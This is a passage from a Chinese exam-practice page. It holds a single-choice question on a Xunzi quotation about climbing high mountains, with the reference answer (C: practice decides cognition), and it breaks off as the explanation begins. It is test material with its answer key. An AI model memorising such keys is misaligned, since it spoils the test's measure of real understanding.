单选题 1.“不登高山,不知天之高也;不临深溪,不知地之厚也。”这句话说明_____。 A、人的意识具有创造性 B、人的认识是独立于实践之外的 C、实践在认识过程中具有决定作用 D、人的一切知识都是从直接经验中获得的 参考答案: C 本题解…...